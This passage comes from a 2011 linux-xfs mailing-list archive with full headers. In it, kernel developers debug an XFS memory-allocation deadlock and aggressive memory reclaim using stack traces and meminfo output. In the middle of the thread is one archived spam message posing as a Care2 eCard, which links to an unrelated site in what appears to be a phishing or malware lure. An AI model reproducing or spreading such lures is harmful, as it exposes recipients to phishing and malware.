http://www.spinics.net/lists/linux-mm/msg12243.html But it seems to not merge. I don't know why since I didn't follow up the thread. Maybe Cced guys can help you. Is it a sudden big cache drop at the moment or accumulated small cache drop for long time? What's your zones' size? Please attach the result of cat /proc/zoneinfo for others. From andi@firstfloor.org Mon Mar 28 18:57:21 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2SNvKLC192831 for ; Mon, 28 Mar 2011 18:57:21 -0500 X-ASG-Debug-ID: 1301356828-3e5701040000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mga03.intel.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id B778A1DFA70B for ; Mon, 28 Mar 2011 17:00:28 -0700 (PDT) Received: from mga03.intel.com (mga03.intel.com [143.182.124.21]) by cuda.sgi.com with ESMTP id 2oQ9sLTPwPhudkgS for ; Mon, 28 Mar 2011 17:00:28 -0700 (PDT) Received: from azsmga001.ch.intel.com ([10.2.17.19]) by azsmga101.ch.intel.com with ESMTP; 28 Mar 2011 17:00:27 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="4.63,258,1299484800"; d="scan'208";a="410051214" Received: from tassilo.jf.intel.com ([10.7.201.84]) by azsmga001.ch.intel.com with ESMTP; 28 Mar 2011 17:00:27 -0700 Received: by tassilo.jf.intel.com (Postfix, from userid 501) id A4F9C3E0563; Mon, 28 Mar 2011 16:58:50 -0700 (PDT) From: Andi Kleen To: Dave Chinner Cc: John Lepikhin , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, linux-mm@kvack.org X-ASG-Orig-Subj: Re: Very aggressive memory reclaim Subject: Re: Very aggressive memory reclaim References: <20110328215344.GC3008@dastard> Date: Mon, 28 Mar 2011 16:58:50 -0700 In-Reply-To: <20110328215344.GC3008@dastard> (Dave Chinner's message of "Tue, 29 Mar 2011 08:53:44 +1100") Message-ID: User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Barracuda-Connect: mga03.intel.com[143.182.124.21] X-Barracuda-Start-Time: 1301356830 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0010 1.0000 -2.0147 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.01 X-Barracuda-Spam-Status: No, SCORE=-2.01 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59259 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Dave Chinner writes: > > First it would be useful to determine why the VM is reclaiming so > much memory. If it is somewhat predictable when the excessive > reclaim is going to happen, it might be worth capturing an event Often it's to get pages of a higher order. Just tracing alloc_pages should tell you that. There are a few other cases (like memory failure handling), but they're more obscure. -Andi -- ak@linux.intel.com -- Speaking for myself only From walken@google.com Mon Mar 28 19:22:19 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2T0MIaJ193879 for ; Mon, 28 Mar 2011 19:22:19 -0500 X-ASG-Debug-ID: 1301358326-36e201900000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp-out.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id E1E2A1142E99 for ; Mon, 28 Mar 2011 17:25:27 -0700 (PDT) Received: from smtp-out.google.com (smtp-out.google.com [74.125.121.67]) by cuda.sgi.com with ESMTP id rDJFsvZqe2ysnOD2 for ; Mon, 28 Mar 2011 17:25:27 -0700 (PDT) Received: from wpaz13.hot.corp.google.com (wpaz13.hot.corp.google.com [172.24.198.77]) by smtp-out.google.com with ESMTP id p2T0PP8S031467 for ; Mon, 28 Mar 2011 17:25:26 -0700 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta; t=1301358326; bh=Ed7rpFUDjWKGQDNJ+gPi31cqD4g=; h=MIME-Version:In-Reply-To:References:Date:Message-ID:Subject:From: To:Cc:Content-Type; b=f1HBVizkNhX5qkkLBQt6vocSYl93jcnaoFgjCJ8CZI2thcTZ6ZTJ/6y1SEVBX6jX7 F2tRqbxAn3IrL88IdRrGA== Received: from ywo32 (ywo32.prod.google.com [10.192.15.32]) by wpaz13.hot.corp.google.com with ESMTP id p2T0PGZT016275 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Mon, 28 Mar 2011 17:25:24 -0700 Received: by ywo32 with SMTP id 32so1779935ywo.35 for ; Mon, 28 Mar 2011 17:25:24 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=beta; h=domainkey-signature:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=YtArk5DkwWBkq7Fk1iNqG4TmA9ANaJxufvvASyp32Gw=; b=nMrk8CHhaLs6QbxaR5pkWYwJstz7y5dAr9ILtqFPRu8+nWKiuboqUciapUtigOSAyu t3wy84czzunfkcfXJhJA== DomainKey-Signature: a=rsa-sha1; c=nofws; d=google.com; s=beta; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=YhKWGbTTgDZcopJgyQmFb3wQoTRVBB8ukD5trgpCE9sI4BZD0CxAV6JgKpevSzZgIT 9M5jdf+94HkHU6zOXV2g== MIME-Version: 1.0 Received: by 10.150.60.4 with SMTP id i4mr4328494yba.166.1301358324152; Mon, 28 Mar 2011 17:25:24 -0700 (PDT) Received: by 10.151.47.2 with HTTP; Mon, 28 Mar 2011 17:25:24 -0700 (PDT) In-Reply-To: <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> Date: Mon, 28 Mar 2011 17:25:24 -0700 Message-ID: X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 From: Michel Lespinasse To: Sean Noonan Cc: Christoph Hellwig , "linux-kernel@vger.kernel.org" , Martin Bligh , Trammell Hudson , Christos Zoulas , "linux-xfs@oss.sgi.com" , Stephen Degler , "linux-mm@kvack.org" , Dave Chinner Content-Type: text/plain; charset=ISO-8859-1 X-System-Of-Record: true X-Barracuda-Connect: smtp-out.google.com[74.125.121.67] X-Barracuda-Start-Time: 1301358328 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0003 1.0000 -2.0189 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, Mar 28, 2011 at 2:34 PM, Sean Noonan wrote: >> Could you test if you see the deadlock before >> 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272 without MAP_POPULATE ? > > Built and tested 72ddc8f72270758951ccefb7d190f364d20215ab. > Confirmed that the original bug does not present in this version. > Confirmed that removing MAP_POPULATE does cause the deadlock to occur. It seems that the test (without MAP_POPULATE) reveals that the root cause is an xfs bug, which had been hidden up to now by MAP_POPULATE preallocating disk blocks (but could always be triggered by the same test without the MAP_POPULATE flag). I'm not sure how to go about debugging the xfs deadlock; it would probably be best if an xfs person could have a look ? -- Michel "Walken" Lespinasse A program is never fully debugged until the last user dies. From david@fromorbit.com Mon Mar 28 20:48:32 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2T1mWYV197468 for ; Mon, 28 Mar 2011 20:48:32 -0500 X-ASG-Debug-ID: 1301363500-1cda03e70000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 295B0384D77 for ; Mon, 28 Mar 2011 18:51:41 -0700 (PDT) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 6ohpKJ7tZwBMXHQ7 for ; Mon, 28 Mar 2011 18:51:41 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjMEAJY5kU15LK5JgWdsb2JhbAClSBUBARYmJYh2vC0NgnKCawQ Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 29 Mar 2011 12:21:38 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q4O5p-0002q4-6I; Tue, 29 Mar 2011 12:51:37 +1100 Date: Tue, 29 Mar 2011 12:51:37 +1100 From: Dave Chinner To: Sean Noonan Cc: "'Michel Lespinasse'" , Christoph Hellwig , "linux-kernel@vger.kernel.org" , Martin Bligh , Trammell Hudson , Christos Zoulas , "linux-xfs@oss.sgi.com" , Stephen Degler , "linux-mm@kvack.org" X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 Message-ID: <20110329015137.GD3008@dastard> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1301363502 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59267 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, Mar 28, 2011 at 05:34:09PM -0400, Sean Noonan wrote: > > Could you test if you see the deadlock before > > 5ecfda041e4b4bd858d25bbf5a16c2a6c06d7272 without MAP_POPULATE ? > > Built and tested 72ddc8f72270758951ccefb7d190f364d20215ab. > Confirmed that the original bug does not present in this version. > Confirmed that removing MAP_POPULATE does cause the deadlock to occur. > > Here is the stack of the test: > # cat /proc/3846/stack > [] call_rwsem_down_read_failed+0x14/0x30 > [] xfs_ilock+0x9d/0x110 > [] xfs_ilock_map_shared+0x1e/0x50 > [] __xfs_get_blocks+0xc5/0x4e0 > [] xfs_get_blocks+0xc/0x10 > [] do_mpage_readpage+0x462/0x660 > [] mpage_readpage+0x4a/0x60 > [] xfs_vm_readpage+0x13/0x20 > [] filemap_fault+0x2d0/0x4e0 > [] __do_fault+0x50/0x510 > [] handle_mm_fault+0x1a2/0xe60 > [] do_page_fault+0x146/0x440 > [] page_fault+0x1f/0x30 > [] 0xffffffffffffffff Something else is holding the inode locked here. > xfssyncd is stuck in D state. > # cat /proc/2484/stack > [] down+0x3c/0x50 > [] xfs_buf_lock+0x72/0x170 > [] xfs_getsb+0x1d/0x50 > [] xfs_trans_getsb+0x5f/0x150 > [] xfs_mod_sb+0x4e/0xe0 > [] xfs_fs_log_dummy+0x5a/0xb0 > [] xfs_sync_worker+0x83/0x90 > [] xfssyncd+0x172/0x220 > [] kthread+0x96/0xa0 > [] kernel_thread_helper+0x4/0x10 > [] 0xffffffffffffffff And this is indicating that something else is holding the superblock locked here. IOWs, whatever thread is having trouble with memory allocation is causing these threads to block and so they can be ignored. What's the stack trace of the thread that is throwing the "I can't allocating a page" errors? As it is, the question I'd really like answered is how a machine with 48GB RAM can possibly be short of memory when running mmap() on a 16GB file. The error that XFS is throwing indicates that the machine cannot allocate a single page of memory, so where has all your memory gone, and why hasn't the OOM killer been let off the leash? What is consuming the other 32GB of RAM or preventing it from being allocated? Also, I was unable to reproduce this at all on a machine with only 2GB of RAM, regardless of the kernel version and/or MAP_POPULATE, so I'm left to wonder what is special about your test system... Perhaps the output of xfs_bmap -vvp after a successful vs deadlocked run would be instructive.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Mar 28 20:54:21 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2T1sLCU197697 for ; Mon, 28 Mar 2011 20:54:21 -0500 X-ASG-Debug-ID: 1301363850-071f001c0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id DCC8A384D9C for ; Mon, 28 Mar 2011 18:57:30 -0700 (PDT) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 7roT2tST1J1NUvzT for ; Mon, 28 Mar 2011 18:57:30 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjMEAJY5kU15LK5JgWdsb2JhbAClSBUBARYmJcUjDYVdBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 29 Mar 2011 12:27:29 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q4OBT-0002qb-Tn; Tue, 29 Mar 2011 12:57:27 +1100 Date: Tue, 29 Mar 2011 12:57:27 +1100 From: Dave Chinner To: Andi Kleen Cc: John Lepikhin , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, linux-mm@kvack.org X-ASG-Orig-Subj: Re: Very aggressive memory reclaim Subject: Re: Very aggressive memory reclaim Message-ID: <20110329015727.GE3008@dastard> References: <20110328215344.GC3008@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1301363851 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0001 1.0000 -2.0201 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59267 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, Mar 28, 2011 at 04:58:50PM -0700, Andi Kleen wrote: > Dave Chinner writes: > > > > First it would be useful to determine why the VM is reclaiming so > > much memory. If it is somewhat predictable when the excessive > > reclaim is going to happen, it might be worth capturing an event > > Often it's to get pages of a higher order. Just tracing alloc_pages > should tell you that. Yes, the kmem/mm_page_alloc tracepoint gives us that. But in case that is not the cause, grabbing all the trace points I suggested is more likely to indicate where the problem is. I'd prefer to get more data than needed the first time around than have to do multiple round trips because a single trace point doesn't tell us the cause... Cheers, Dave. -- Dave Chinner david@fromorbit.com From enviados@abaser.es Mon Mar 28 21:46:01 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.5 required=5.0 tests=BAYES_95,THEBAT_UNREG autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2T2k17D199969 for ; Mon, 28 Mar 2011 21:46:01 -0500 X-ASG-Debug-ID: 1301366948-072101850000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from virt1.centrodedatos.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A315B384C42 for ; Mon, 28 Mar 2011 19:49:08 -0700 (PDT) Received: from virt1.centrodedatos.com (ns6.centrodedatos-dns.com [86.109.96.130]) by cuda.sgi.com with ESMTP id BsKQB9WZpr8Dtg6Z for ; Mon, 28 Mar 2011 19:49:08 -0700 (PDT) Received: from rrcs-24-39-131-4.nyc.biz.rr.com ([24.39.131.4]) by centrodedatos.com with MailEnable ESMTP; Tue, 29 Mar 2011 04:49:07 +0200 Received: from server91.sofcom.com.au ([201.112.75.131]) by mc2-f58.hotmail.com with Microsoft SMTPSVC(5.0.2195.357) for linux-xfs@oss.sgi.com; Mon, 28 Mar 2011 18:48:26 -0800 Date: Mon, 28 Mar 2011 18:37:14 -0800 From: "Deborah" X-Mailer: The Bat! (v4.8.07) UNREG X-Priority: 3 (Normal) Message-id: <64059882.4572317443815@mac.com> To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Deborah sent you yhe Post eCard! Subject: Deborah sent you yhe Post eCard! MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------252818998B9B825" X-Barracuda-Connect: ns6.centrodedatos-dns.com[86.109.96.130] X-Barracuda-Start-Time: 1301366949 X-Barracuda-Bayes: INNOCENT GLOBAL 0.6329 1.0000 0.9188 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: 1.12 X-Barracuda-Spam-Status: No, SCORE=1.12 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=BSF_SC0_SA074b X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59269 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 BSF_SC0_SA074b Custom Rule SA074b X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean ------------252818998B9B825 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello Deborah sent you a Care2 eCard on March 22, 2011. It will be available for 14 days from the day it was sent. You can also copy and paste this URL into your browser: http://www.arrowheadconcreteworks.com/images/ecard.html?id81-35-688 Warm wishes, eCard TM Every time you send a FREE Care2 eCard you can generate donations for worthwhile charities. ------------252818998B9B825-- From Sean.Noonan@twosigma.com Mon Mar 28 21:46:26 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2T2kPDn199998 for ; Mon, 28 Mar 2011 21:46:25 -0500 X-ASG-Debug-ID: 1301366975-072101880000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx3.twosigma.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id A8BC2385ACE for ; Mon, 28 Mar 2011 19:49:35 -0700 (PDT) Received: from mx3.twosigma.com (mx3.twosigma.com [208.77.213.34]) by cuda.sgi.com with SMTP id H2Ij6G0jdk1PZqoH for ; Mon, 28 Mar 2011 19:49:35 -0700 (PDT) Received: by mx3.twosigma.com (Postfix, from userid 108) id D383466669; Tue, 29 Mar 2011 02:49:34 +0000 (UTC) Received: from MSXAOA6.twosigma.com (nfw1-1-dmz.twosigma.com [208.77.213.62]) by mx3.twosigma.com (Postfix) with ESMTP id 50C6766660; Tue, 29 Mar 2011 02:49:34 +0000 (UTC) Received: from msxaoa6.twosigma.com ([fe80::5d02:8f37:f2d4:e384]) by MSXAOA6.twosigma.com ([fe80::5d02:8f37:f2d4:e384%11]) with mapi; Mon, 28 Mar 2011 22:49:34 -0400 From: Sean Noonan To: "'Dave Chinner'" CC: "'Michel Lespinasse'" , Christoph Hellwig , "linux-kernel@vger.kernel.org" , Martin Bligh , Trammell Hudson , Christos Zoulas , "linux-xfs@oss.sgi.com" , Stephen Degler , "linux-mm@kvack.org" Date: Mon, 28 Mar 2011 22:49:33 -0400 X-ASG-Orig-Subj: RE: XFS memory allocation deadlock in 2.6.38 Subject: RE: XFS memory allocation deadlock in 2.6.38 Thread-Topic: XFS memory allocation deadlock in 2.6.38 Thread-Index: Acvts9zxn6JLCEvNSyWF52bVA/QwTAAB691A Message-ID: <081DDE43F61F3D43929A181B477DCA95639B534F@MSXAOA6.twosigma.com> References: <081DDE43F61F3D43929A181B477DCA95639B52FD@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B5327@MSXAOA6.twosigma.com> <20110324174311.GA31576@infradead.org> <081DDE43F61F3D43929A181B477DCA95639B5349@MSXAOA6.twosigma.com> <081DDE43F61F3D43929A181B477DCA95639B534E@MSXAOA6.twosigma.com> <20110329015137.GD3008@dastard> In-Reply-To: <20110329015137.GD3008@dastard> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx3.twosigma.com[208.77.213.34] X-Barracuda-Start-Time: 1301366975 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0209 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59269 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > As it is, the question I'd really like answered is how a machine with > 48GB RAM can possibly be short of memory when running mmap() on a > 16GB file. The error that XFS is throwing indicates that the > machine cannot allocate a single page of memory, so where has all > your memory gone, and why hasn't the OOM killer been let off the > leash? What is consuming the other 32GB of RAM or preventing it > from being allocated?=20 Here's meminfo while a test was deadlocking. As you can see, we certainly = aren't running out of RAM. # cat /proc/meminfo=20 MemTotal: 49551548 kB MemFree: 44139876 kB Buffers: 5324 kB Cached: 4970552 kB SwapCached: 0 kB Active: 52772 kB Inactive: 4960624 kB Active(anon): 37864 kB Inactive(anon): 0 kB Active(file): 14908 kB Inactive(file): 4960624 kB Unevictable: 0 kB Mlocked: 0 kB SwapTotal: 0 kB SwapFree: 0 kB Dirty: 4914084 kB Writeback: 0 kB AnonPages: 37636 kB Mapped: 4925460 kB Shmem: 280 kB Slab: 223212 kB SReclaimable: 176280 kB SUnreclaim: 46932 kB KernelStack: 3968 kB PageTables: 35228 kB NFS_Unstable: 0 kB Bounce: 0 kB WritebackTmp: 0 kB CommitLimit: 47073968 kB Committed_AS: 86556 kB VmallocTotal: 34359738367 kB VmallocUsed: 380892 kB VmallocChunk: 34331773836 kB HugePages_Total: 0 HugePages_Free: 0 HugePages_Rsvd: 0 HugePages_Surp: 0 Hugepagesize: 2048 kB DirectMap4k: 2048 kB DirectMap2M: 2086912 kB DirectMap1G: 48234496 kB > Perhaps the output of xfs_bmap -vvp after a successful vs deadlocked run would be instructive.... I will try to get this tomorrow. Sean From kosaki.motohiro@jp.fujitsu.com Mon Mar 28 21:51:59 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2T2pwEM200227 for ; Mon, 28 Mar 2011 21:51:59 -0500 X-ASG-Debug-ID: 1301367307-072301740000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from fgwmail6.fujitsu.co.jp (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id B2654385259 for ; Mon, 28 Mar 2011 19:55:07 -0700 (PDT) Received: from fgwmail6.fujitsu.co.jp (fgwmail6.fujitsu.co.jp [192.51.44.36]) by cuda.sgi.com with SMTP id pSggvtIVgxUxokmh for ; Mon, 28 Mar 2011 19:55:07 -0700 (PDT) Received: from m2.gw.fujitsu.co.jp (unknown [10.0.50.72]) by fgwmail6.fujitsu.co.jp (Postfix) with ESMTP id 1CE983EE0BC for ; Tue, 29 Mar 2011 11:55:05 +0900 (JST) Received: from smail (m2 [127.0.0.1]) by outgoing.m2.gw.fujitsu.co.jp (Postfix) with ESMTP id 0067945DE6B for ; Tue, 29 Mar 2011 11:55:05 +0900 (JST) Received: from s2.gw.fujitsu.co.jp (s2.gw.fujitsu.co.jp [10.0.50.92]) by m2.gw.fujitsu.co.jp (Postfix) with ESMTP id DEA3A45DE6A for ; Tue, 29 Mar 2011 11:55:04 +0900 (JST) Received: from s2.gw.fujitsu.co.jp (localhost.localdomain [127.0.0.1]) by s2.gw.fujitsu.co.jp (Postfix) with ESMTP id D33311DB8038 for ; Tue, 29 Mar 2011 11:55:04 +0900 (JST) Received: from m106.s.css.fujitsu.com (m106.s.css.fujitsu.com [10.240.81.146]) by s2.gw.fujitsu.co.jp (Postfix) with ESMTP id A20291DB802C for ; Tue, 29 Mar 2011 11:55:04 +0900 (JST) Received: from m106.css.fujitsu.com (m106 [127.0.0.1]) by m106.s.css.fujitsu.com (Postfix) with ESMTP id 58BF2A00003; Tue, 29 Mar 2011 11:55:04 +0900 (JST) Received: from [127.0.0.1] (unknown [10.124.101.92]) by m106.s.css.fujitsu.com (Postfix) with ESMTP id BF713A00005; Tue, 29 Mar 2011 11:55:03 +0900 (JST) X-SecurityPolicyCheck-FJ: OK by FujitsuOutboundMailChecker v1.3.1 Received: from KOSANOTE2[10.124.101.92] by KOSANOTE2 (FujitsuOutboundMailChecker v1.3.1/9992[10.124.101.92]); Tue, 29 Mar 2011 11:55:55 +0900 (JST) From: KOSAKI Motohiro To: Minchan Kim X-ASG-Orig-Subj: Re: Very aggressive memory reclaim Subject: Re: Very aggressive memory reclaim Cc: kosaki.motohiro@jp.fujitsu.com, Dave Chinner , John Lepikhin , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, linux-mm@kvack.org In-Reply-To: References: <20110328215344.GC3008@dastard> Message-Id: <20110329115546.C08C.A69D9226@jp.fujitsu.com> MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" X-Mailer: Becky! ver. 2.56.05 [ja] Date: Tue, 29 Mar 2011 11:55:03 +0900 (JST) X-Barracuda-Connect: fgwmail6.fujitsu.co.jp[192.51.44.36] X-Barracuda-Start-Time: 1301367308 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0681 1.0000 -1.5867 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.59 X-Barracuda-Spam-Status: No, SCORE=-1.59 using per-user scores of TAG_LEVEL=2.0 